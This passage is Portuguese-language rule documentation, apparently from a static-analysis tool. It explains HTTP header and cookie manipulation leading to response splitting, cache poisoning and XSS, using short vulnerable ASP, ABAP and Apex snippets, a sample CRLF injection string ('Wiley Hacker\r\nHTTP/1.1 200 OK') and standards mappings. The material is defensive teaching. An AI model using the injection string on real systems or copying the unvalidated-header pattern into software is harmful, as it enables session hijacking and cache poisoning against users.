[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.swift.header_manipulation
Abstract
A inclusão de dados não validados em um cabeçalho de resposta HTTP pode permitir ataques como envenenamento de cache, Cross-Site Scripting, desfiguração entre usuários, sequestro de páginas, manipulação de cookies ou redirecionamento aberto.
Explanation
Vulnerabilidades de Manipulação de Cabeçalho ocorrem quando:

1. Dados entram em um aplicativo Web através de uma fonte não confiável, mais frequentemente uma solicitação HTTP.

2. Os dados são incluídos em um cabeçalho de resposta HTTP enviado para um usuário da Web sem ser validado.

Tal como acontece com muitas vulnerabilidades de segurança de software, a Manipulação de Cabeçalho é um meio para um fim, e não um fim por si só. Em sua raiz, a vulnerabilidade é simples e direta: um invasor transmite dados mal-intencionados a um aplicativo vulnerável, e esse aplicativo inclui os dados em um cabeçalho de resposta HTTP.

Um dos ataques mais comuns de Manipulação de Cabeçalho é a Divisão de Respostas HTTP. Para montar uma exploração bem-sucedida de Divisão de Respostas HTTP, o aplicativo deve permitir entradas que contenham caracteres de CR (retorno de carro, também especificado por %0d ou \r) e LF (avanço de linha, também especificado por %0a ou \n) no cabeçalho. Esses caracteres não só dão controle aos invasores sobre os cabeçalhos restantes e o corpo da resposta que o aplicativo pretende enviar, como também lhes permite criar respostas adicionais totalmente sob seu controle.

Muitos dos servidores de aplicativos modernos impedirão a injeção de caracteres mal-intencionados em cabeçalhos HTTP. No entanto, os servidores que dão suporte ao ASP clássico muitas vezes não têm esse mecanismo de proteção.

Exemplo: O segmento de código a seguir lê o nome do autor de uma entrada de blog, author, a partir de uma solicitação HTTP e o define em um cabeçalho de cookie de uma resposta HTTP.


...
author = Request.Form(AUTHOR_PARAM)
Response.Cookies("author") = author
Response.Cookies("author").Expires = cookieExpiration
...


Supondo que uma string formada por caracteres alfanuméricos padrão, como "Jane Smith", seja enviada na solicitação, a resposta HTTP que inclui esse cookie pode assumir o seguinte formato:


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


No entanto, como o valor do cookie é formado por uma entrada de usuário não validada, a resposta apenas manterá esse formato se o valor enviado para AUTHOR_PARAM não contiver caracteres de CR e LF. Se um invasor enviar uma string mal-intencionada, como "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", a resposta HTTP será dividida em duas respostas com o seguinte formato:


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


Claramente, a segunda resposta é completamente controlada pelo invasor e pode ser construída com qualquer conteúdo de cabeçalho e corpo desejado. A capacidade do invasor de construir respostas HTTP arbitrárias permite uma grande variedade de ataques resultantes, entre eles: desfiguração entre usuários, envenenamento de cache da Web e do navegador, Cross-Site Scripting e sequestro de páginas.

Desfiguração entre Usuários: Um invasor poderá fazer uma única solicitação a um servidor vulnerável, fazendo com que esse servidor crie duas respostas. A segunda pode ser interpretada como uma resposta a uma solicitação diferente, possivelmente feita por outro usuário que compartilha a mesma conexão TCP com o servidor. Isso pode ser feito, convencendo o usuário a enviar a solicitação mal-intencionada por conta própria ou remotamente em situações nas quais o invasor e o usuário compartilham uma conexão TCP comum com o servidor, como um servidor proxy compartilhado. Na melhor das hipóteses, um invasor pode aproveitar essa habilidade para convencer os usuários de que o aplicativo foi invadido, fazendo com que eles percam a confiança na segurança deste último. Na pior das hipóteses, um invasor pode fornecer um conteúdo especialmente elaborado, projetado para imitar o comportamento do aplicativo, mas redirecionar informações privadas, como números de contas e senhas, de volta para ele.

Envenenamento de Cache: O impacto de uma resposta construída de maneira mal-intencionada pode ser ampliado quando ela é armazenada em cache por um cache de Web utilizado por vários usuários ou até mesmo pelo cache do navegador de um único usuário. Se uma resposta for armazenada em um cache da Web compartilhado, como aqueles comumente encontrados em servidores proxy, todos os usuários desse cache continuarão a receber o conteúdo mal-intencionado até que a entrada do cache seja removida. Da mesma forma, se a resposta for armazenada em cache no navegador de um usuário individual, esse usuário continuará a receber o conteúdo mal-intencionado até que a entrada do cache seja removida, embora nesse caso somente o usuário da instância local do navegador seja afetado.

Cross-Site Scripting: Depois que os invasores controlam as respostas enviadas por um aplicativo, eles podem escolher dentre grande variedade de conteúdo mal-intencionado para fornecer aos usuários. Cross-Site Scripting é uma forma comum de ataque em que JavaScript mal-intencionado ou outro código incluído em uma resposta é executado no navegador do usuário. A variedade de ataques com base em XSS é quase ilimitada, mas costuma incluir a transmissão de dados privados, como cookies ou outras informações de sessão, para o invasor, o redirecionamento da vítima para um conteúdo web controlado pelo invasor ou a realização de outras operações mal-intencionadas na máquina do usuário, sob a aparência do site vulnerável. O vetor de ataque mais comum e perigoso contra os usuários de um aplicativo vulnerável usa JavaScript para transmitir informações de sessão e autenticação de volta ao invasor, que pode em seguida assumir o controle total sobre a conta da vítima.

Sequestro de Páginas: Além de usar um aplicativo vulnerável para enviar conteúdo mal-intencionado a um usuário, a mesma vulnerabilidade raiz também pode ser aproveitada para redirecionar ao invasor o conteúdo confidencial gerado pelo servidor e destinado ao usuário. Ao enviar uma solicitação que resulta em duas respostas, isto é, a resposta pretendida do servidor e a resposta gerada pelo invasor, esse invasor pode fazer com que um nó intermediário, como um servidor proxy compartilhado, oriente incorretamente ao invasor uma resposta gerada pelo servidor para o usuário. Como a solicitação feita pelo invasor gera duas respostas, a primeira é interpretada como uma resposta à solicitação do invasor, enquanto a segunda permanece no limbo. Quando o usuário faz uma solicitação legítima através da mesma conexão TCP, a solicitação do invasor já está aguardando e é interpretada como uma resposta à solicitação da vítima. Em seguida, o invasor envia uma segunda solicitação para o servidor, à qual o servidor proxy responde com a solicitação gerada pelo servidor para a vítima, comprometendo assim qualquer informação confidencial nos cabeçalhos ou no corpo da resposta destinada à vítima.

Manipulação de Cookie: Em combinação com ataques, como falsificação de solicitações entre sites, os invasores podem alterar, adicionar ou até mesmo substituir os cookies de um usuário legítimo.

Redirecionamento Aberto: Permitir que uma entrada não validada controle a URL usada em um redirecionamento pode auxiliar ataques de phishing.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.vb.header_manipulation
Abstract
A inclusão de dados não validados em Cookies pode resultar na manipulação de cabeçalho de Respostas HTTP, além de permitir ataques como envenenamento de cache, Cross-Site Scripting, desfiguração entre usuários, sequestro de páginas, manipulação de cookies ou redirecionamento aberto.
Explanation
Vulnerabilidades de Manipulação de Cookie ocorrem quando:

1. Dados entram em um aplicativo Web através de uma fonte não confiável, mais frequentemente uma solicitação HTTP.

2. Os dados são incluídos em um cookie HTTP enviado para um usuário da Web sem ser validado.

Tal como acontece com muitas vulnerabilidades de segurança de software, a manipulação de cookie é um meio para um fim, e não um fim em si mesma. Em sua raiz, a vulnerabilidade é simples e direta: um invasor transmite dados mal-intencionados a um aplicativo vulnerável, e esse aplicativo inclui os dados em um cookie HTTP.

Manipulação de Cookie: Em combinação com ataques, como falsificação de solicitações entre sites, os invasores podem alterar, adicionar ou até mesmo substituir os cookies de um usuário legítimo.

Sendo cabeçalhos de Resposta HTTP, ataques de manipulação de cookie também podem resultar em outros tipos de ataques, como:

Divisão de Respostas HTTP:
Um dos ataques mais comuns de Manipulação de Cabeçalho é a Divisão de Respostas HTTP. Para montar uma exploração bem-sucedida de Divisão de Respostas HTTP, o aplicativo deve permitir entradas que contenham caracteres de CR (retorno de carro, também especificado por %0d ou \r) e LF (avanço de linha, também especificado por %0a ou \n) no cabeçalho. Esses caracteres não só dão controle aos invasores sobre os cabeçalhos restantes e o corpo da resposta que o aplicativo pretende enviar, como também lhes permite criar respostas adicionais totalmente sob seu controle.

Muitos dos modernos servidores de aplicativos de hoje impedirão a injeção de caracteres mal-intencionados em cabeçalhos HTTP. Por exemplo, versões recentes do Apache Tomcat lançarão uma IllegalArgumentException se você tentar definir um cabeçalho com caracteres proibidos. Se o seu servidor de aplicativos impede a definição de cabeçalhos com caracteres de nova linha, seu aplicativo não é vulnerável à Divisão de Respostas HTTP. No entanto, uma simples filtragem em busca de caracteres de nova linha pode deixar um aplicativo vulnerável à Manipulação de Cookie ou a Redirecionamentos Abertos e, por isso, ainda é necessário ter cautela ao definir cabeçalhos HTTP com entradas do usuário.

Exemplo: O segmento de código a seguir lê o nome do autor de uma entrada de blog, author, a partir de uma solicitação HTTP e o define em um cabeçalho de cookie de uma resposta HTTP.


...
author = request->get_form_field( 'author' ).
response->set_cookie( name = 'author' value = author ).
...


Supondo que uma string formada por caracteres alfanuméricos padrão, como "Jane Smith", seja enviada na solicitação, a resposta HTTP que inclui esse cookie pode assumir o seguinte formato:


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


No entanto, como o valor do cookie é formado por uma entrada de usuário não validada, a resposta apenas manterá esse formato se o valor enviado para AUTHOR_PARAM não contiver caracteres de CR e LF. Se um invasor enviar uma string mal-intencionada, como "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", a resposta HTTP será dividida em duas respostas com o seguinte formato:


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


Claramente, a segunda resposta é completamente controlada pelo invasor e pode ser construída com qualquer conteúdo de cabeçalho e corpo desejado. A capacidade do invasor de construir respostas HTTP arbitrárias permite uma grande variedade de ataques resultantes, entre eles: desfiguração entre usuários, envenenamento de cache da Web e do navegador, Cross-Site Scripting e sequestro de páginas.

Desfiguração entre Usuários: Um invasor poderá fazer uma única solicitação a um servidor vulnerável, fazendo com que esse servidor crie duas respostas. A segunda pode ser interpretada como uma resposta a uma solicitação diferente, possivelmente feita por outro usuário que compartilha a mesma conexão TCP com o servidor. Isso pode ser feito, convencendo o usuário a enviar a solicitação mal-intencionada por conta própria ou remotamente em situações nas quais o invasor e o usuário compartilham uma conexão TCP comum com o servidor, como um servidor proxy compartilhado. Na melhor das hipóteses, um invasor pode aproveitar essa habilidade para convencer os usuários de que o aplicativo foi invadido, fazendo com que eles percam a confiança na segurança deste último. Na pior das hipóteses, um invasor pode fornecer um conteúdo especialmente elaborado, projetado para imitar o comportamento do aplicativo, mas redirecionar informações privadas, como números de contas e senhas, de volta para ele.

Envenenamento de Cache: O impacto de uma resposta construída de maneira mal-intencionada pode ser ampliado quando ela é armazenada em cache por um cache de Web utilizado por vários usuários ou até mesmo pelo cache do navegador de um único usuário. Se uma resposta for armazenada em um cache da Web compartilhado, como aqueles comumente encontrados em servidores proxy, todos os usuários desse cache continuarão a receber o conteúdo mal-intencionado até que a entrada do cache seja removida. Da mesma forma, se a resposta for armazenada em cache no navegador de um usuário individual, esse usuário continuará a receber o conteúdo mal-intencionado até que a entrada do cache seja removida, embora nesse caso somente o usuário da instância local do navegador seja afetado.

Cross-Site Scripting: Depois que os invasores controlam as respostas enviadas por um aplicativo, eles podem escolher dentre grande variedade de conteúdo mal-intencionado para fornecer aos usuários. Cross-Site Scripting é uma forma comum de ataque em que JavaScript mal-intencionado ou outro código incluído em uma resposta é executado no navegador do usuário. A variedade de ataques com base em XSS é quase ilimitada, mas costuma incluir a transmissão de dados privados, como cookies ou outras informações de sessão, para o invasor, o redirecionamento da vítima para um conteúdo web controlado pelo invasor ou a realização de outras operações mal-intencionadas na máquina do usuário, sob a aparência do site vulnerável. O vetor de ataque mais comum e perigoso contra os usuários de um aplicativo vulnerável usa JavaScript para transmitir informações de sessão e autenticação de volta ao invasor, que pode em seguida assumir o controle total sobre a conta da vítima.

Sequestro de Páginas: Além de usar um aplicativo vulnerável para enviar conteúdo mal-intencionado a um usuário, a mesma vulnerabilidade raiz também pode ser aproveitada para redirecionar ao invasor o conteúdo confidencial gerado pelo servidor e destinado ao usuário. Ao enviar uma solicitação que resulta em duas respostas, isto é, a resposta pretendida do servidor e a resposta gerada pelo invasor, esse invasor pode fazer com que um nó intermediário, como um servidor proxy compartilhado, oriente incorretamente ao invasor uma resposta gerada pelo servidor para o usuário. Como a solicitação feita pelo invasor gera duas respostas, a primeira é interpretada como uma resposta à solicitação do invasor, enquanto a segunda permanece no limbo. Quando o usuário faz uma solicitação legítima através da mesma conexão TCP, a solicitação do invasor já está aguardando e é interpretada como uma resposta à solicitação da vítima. Em seguida, o invasor envia uma segunda solicitação para o servidor, à qual o servidor proxy responde com a solicitação gerada pelo servidor para a vítima, comprometendo assim qualquer informação confidencial nos cabeçalhos ou no corpo da resposta destinada à vítima.

Redirecionamento Aberto: Permitir que uma entrada não validada controle a URL usada em um redirecionamento pode auxiliar ataques de phishing.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.1 - Web Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.abap.header_manipulation_cookies
Abstract
A inclusão de dados não validados nos cookies pode levar a Header Manipulation de resposta HTTP e permitir envenenamento de cache, cross-site scripting, desfiguração entre usuários, invasão de página, manipulação de cookie ou Open Redirect.
Explanation
Vulnerabilidades de Manipulação de Cookie ocorrem quando:

1. Os dados entram em um aplicativo Web por meio de uma fonte não confiável, mais frequentemente em uma solicitação HTTP.



2. Os dados são incluídos em um cookie HTTP enviado para um usuário da Web sem ser validado.



Assim como ocorre com muitas vulnerabilidades de segurança de software, a manipulação de cookie é um meio para um fim, não um fim em si. Em sua raiz, a vulnerabilidade é simples e direta: um invasor transmite dados mal-intencionados a um aplicativo vulnerável, e esse aplicativo inclui os dados em um cookie HTTP.

Manipulação de Cookie: Em combinação com ataques como Cross-Site Request Forgery, os invasores podem alterar, acrescentar ou até mesmo sobrescrever os cookies de um usuário legítimo.

Sendo cabeçalhos de Resposta HTTP, ataques de manipulação de Cookie também podem resultar em outros tipos de ataques, como:

Divisão de Respostas HTTP:
Um dos ataques mais comuns de Manipulação de Cabeçalho é a Divisão de Respostas HTTP. Para montar uma exploração bem-sucedida de Divisão de Respostas HTTP, o aplicativo deve permitir entradas que contenham caracteres de CR (retorno de carro, também especificado por %0d ou \r) e LF (alimentação de linha, também especificado por %0a ou \n) no cabeçalho. Esses caracteres não só dão controle aos invasores sobre os cabeçalhos restantes e o corpo da resposta que o aplicativo pretende enviar, como também lhes permite criar respostas adicionais totalmente sob seu controle.

Muitos dos servidores de aplicativos modernos de hoje impedirão a injeção de caracteres mal-intencionados nos cabeçalhos HTTP. Por exemplo, versões recentes do Apache Tomcat lançarão uma IllegalArgumentException se você tentar definir um cabeçalho com caracteres proibidos. Se o seu servidor de aplicativos impede a definição de cabeçalhos com caracteres de nova linha, seu aplicativo não é vulnerável à Divisão de Respostas HTTP. No entanto, uma simples filtragem em busca de caracteres de nova linha pode deixar um aplicativo vulnerável à Manipulação de Cookie ou a Redirecionamentos Abertos e, por isso, ainda é necessário ter cautela ao definir cabeçalhos HTTP com entradas do usuário.

Exemplo 1: O segmento de código a seguir lê o nome do autor de uma entrada de blog, author, de uma solicitação HTTP, e o define em um cabeçalho de cookie de uma resposta HTTP.


...
Cookie cookie = new Cookie('author', author, '/', -1, false);
ApexPages.currentPage().setCookies(new Cookie[] {cookie});
...


Supondo que uma string formada por caracteres alfanuméricos padrão, como "Jane Smith", seja enviada na solicitação, a resposta HTTP que inclui esse cookie pode assumir o seguinte formato:


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


No entanto, como o valor do cookie é formado por uma entrada de usuário não validada, a resposta só manterá esse formato se o valor enviado para author não contiver caracteres de CR e LF. Se um invasor enviar uma cadeia de caracteres mal-intencionada, como "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", a resposta HTTP será dividida em duas respostas com o seguinte formato:


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


Claramente, a segunda resposta é completamente controlada pelo invasor e pode ser construída com qualquer conteúdo de cabeçalho e corpo desejado. A capacidade do invasor de construir respostas HTTP arbitrárias permite uma grande variedade de ataques resultantes, entre eles: desfiguração entre usuários, envenenamento de cache da Web e do navegador, Cross-Site Scripting e sequestro de páginas.

Desfiguração entre Usuários: Um invasor pode fazer uma única solicitação a um servidor vulnerável que fará com que o servidor crie duas respostas. A segunda delas pode ser mal interpretada como resposta a uma solicitação diferente, possivelmente feita por outro usuário que compartilha a mesma conexão TCP com o servidor. Isso pode ser feito, convencendo o usuário a enviar a solicitação mal-intencionada por conta própria ou remotamente em situações nas quais o invasor e o usuário compartilham uma conexão TCP comum com o servidor, como um servidor proxy compartilhado. Na melhor das hipóteses, um invasor pode aproveitar essa capacidade de convencer os usuários de que o aplicativo foi invadido, fazendo com que eles percam a confiança na segurança do aplicativo. Na pior das hipóteses, um invasor pode fornecer conteúdo especialmente criado para imitar o comportamento do aplicativo, mas redirecionar informações privadas, como números de conta e senhas, de volta ao invasor.

Envenenamento de Cache: O impacto de uma resposta construída de maneira mal-intencionada pode ser ampliado quando ela é armazenada em cache por um cache de Web utilizado por vários usuários ou até mesmo pelo cache do navegador de um único usuário. Se uma resposta for armazenada em um cache da Web compartilhado, como aqueles comumente encontrados em servidores proxy, todos os usuários desse cache continuarão a receber o conteúdo mal-intencionado até que a entrada do cache seja removida. Da mesma forma, se a resposta for armazenada em cache no navegador de um usuário individual, ele continuará recebendo o conteúdo mal-intencionado até que a entrada do cache seja removida, embora apenas o usuário da instância do navegador local será afetado.

Cross-Site Scripting: Depois que os invasores controlam as respostas enviadas por um aplicativo, eles podem escolher dentre grande variedade de conteúdo mal-intencionado para fornecer aos usuários. Cross-Site Scripting é uma forma comum de ataque em que JavaScript mal-intencionado ou outro código incluído em uma resposta é executado no navegador do usuário. A variedade de ataques com base em XSS é quase ilimitada, mas costuma incluir a transmissão de dados privados, como cookies ou outras informações de sessão, para o invasor, o redirecionamento da vítima para um conteúdo web controlado pelo invasor ou a realização de outras operações mal-intencionadas na máquina do usuário, sob a aparência do site vulnerável. O vetor de ataque mais comum e perigoso contra os usuários de um aplicativo vulnerável usa JavaScript para transmitir informações de sessão e autenticação de volta ao invasor, que pode em seguida assumir o controle total sobre a conta da vítima.

Sequestro de Páginas: Além de usar um aplicativo vulnerável para enviar conteúdo mal-intencionado a um usuário, a mesma vulnerabilidade raiz também pode ser aproveitada para redirecionar ao invasor o conteúdo confidencial gerado pelo servidor e destinado ao usuário. Enviando uma solicitação que resulta em duas respostas (a resposta pretendida do servidor e a resposta gerada pelo invasor), um invasor pode fazer com que um nó intermediário, como um servidor proxy compartilhado, direcione indevidamente ao invasor uma resposta gerada pelo servidor para o usuário. Como a solicitação feita pelo invasor gera duas respostas, a primeira é interpretada como uma resposta à solicitação do invasor, enquanto a segunda permanece no limbo. Quando o usuário faz uma solicitação legítima através da mesma conexão TCP, a solicitação do invasor já está aguardando e é interpretada como uma resposta à solicitação da vítima. Em seguida, o invasor envia uma segunda solicitação para o servidor, à qual o servidor proxy responde com a solicitação gerada pelo servidor para a vítima, comprometendo assim qualquer informação confidencial nos cabeçalhos ou no corpo da resposta destinada à vítima.

Redirecionamento Aberto: Permitir que uma entrada não validada controle a URL usada em um redirecionamento pode auxiliar ataques de phishing.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
